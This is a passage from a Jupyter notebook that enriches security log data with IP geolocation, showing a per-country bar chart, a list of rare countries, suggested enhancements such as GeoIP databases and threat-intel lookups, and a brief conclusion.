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\n",
      "text/plain": [
       "<Figure size 1440x720 with 1 Axes>"
      ]
     },
     "metadata": {
      "needs_background": "light"
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "df_country=result['IP_country_name'].value_counts().to_frame(name='count').reset_index()\n",
    "df_country=df_country.rename(index=str, columns={\"index\": \"CountryName\", \"count\": \"Count\"}).sort_values(by='Count',ascending='Count')\n",
    "df_country.plot.bar(x='CountryName',y='Count',figsize=(20,10))\n",
    "plt.title('Bar chart Per Country');"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Many unknown countries are seen with low count which are unusual"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 27,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "French Guiana          9\n",
       "Belize                 8\n",
       "Guadeloupe             6\n",
       "Burkina Faso           5\n",
       "Antigua and Barbuda    5\n",
       "Cayman Islands         5\n",
       "Jamaica                4\n",
       "Brunei                 4\n",
       "Barbados               3\n",
       "Australia              2\n",
       "Name: IP_country_name, dtype: int64"
      ]
     },
     "execution_count": 27,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "#Display countries with less than 10 count\n",
    "result['IP_country_name'].value_counts().tail(10)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<hr style=\"border-color:royalblue;background-color:royalblue;height:1px;\">\n",
    "\n",
    "<div style=\"text-align:center; margin:40px 0 40px 0;\">\n",
    "\n",
    "[**Back to Contents**](#toc)\n",
    "</div>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l6\">\n",
    "\n",
    "# 6.Further Enhancements\n",
    "<br>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l6.1\">\n",
    "\n",
    "## 6.1 Alternative approaches to IP Address Lookup at Scale:\n",
    "\n",
    "> ***Offline copy of ip geolocation dataset:*** python-geoip is a library that provides access to GeoIP databases. Currently it only supports accessing MaxMind databases. It’s similar to other GeoIP libraries but comes under the very liberal BSD license and also provides an extra library that optionally ships a recent version of the Geolite2 database as provided by MaxMind.\n",
    "The python-geoip-geolite2 package includes GeoLite2 data created by MaxMind, available from maxmind.com under the Creative Commons Attribution-ShareAlike 3.0 Unported License. \n",
    "<br>https://pythonhosted.org/python-geoip/"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l6.2\">\n",
    "\n",
    "## 6.2 IP reputation lookup/ThreatIntel Feeds Lookup:\n",
    "\n",
    "> <br>The next obvious enrichment can be to populate IP Address reputation scoring and open source Threat Intel feed matches.\n",
    "> <br>Several open source threat intel feeds support python API including ```cymon.io, threatconnect, MISP and many more```.\n",
    "> <br>We can also integrate with available commercial feeds via either python API or join against TI datasource if available to populate matches."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l6.3\">\n",
    "\n",
    "## 6.3 Interactive visualizations Libraries:\n",
    "\n",
    "> <br>Current notebook has only used matplotlib with static visualizations.\n",
    "> <br>Several interactive visualization libraries can be used  ```plotly, bokeh and others```."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<hr style=\"border-color:royalblue;background-color:royalblue;height:1px;\">\n",
    "\n",
    "<div style=\"text-align:center; margin:40px 0 40px 0;\">\n",
    "\n",
    "[**Back to Contents**](#toc)\n",
    "</div>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l7\">\n",
    "\n",
    "# 7.Conclusion\n",
    "\n",
    "<br>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "As part of this exercise, \n",
    "\n",
    "> * Dataset was compiled from commonly used redteam commad line logs and modified to include several private and public IP addresses.\n",
    "> * Data wrangling was done to populate additional columns such as IP Type, geolocation lookup for Public IP addresses etc.\n",
    "> * Basic Exploratory data analysis was done on the dataset.\n",
    "> * Basic visualization specially barplots was generated on several columns of the dataset using matplotlib.\n",
    "> * Finally, some alternative approaches were suggested to do geolocation lookup at scale along with usage of interactive visualization libraries."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<hr style=\"border-color:royalblue;background-color:royalblue;height:1px;\">\n",
    "\n",
    "<div style=\"text-align:center; margin:40px 0 40px 0;\">\n",
    "\n",
    "[**Back to Contents**](#toc)\n",
    "</div>"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.7.0"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}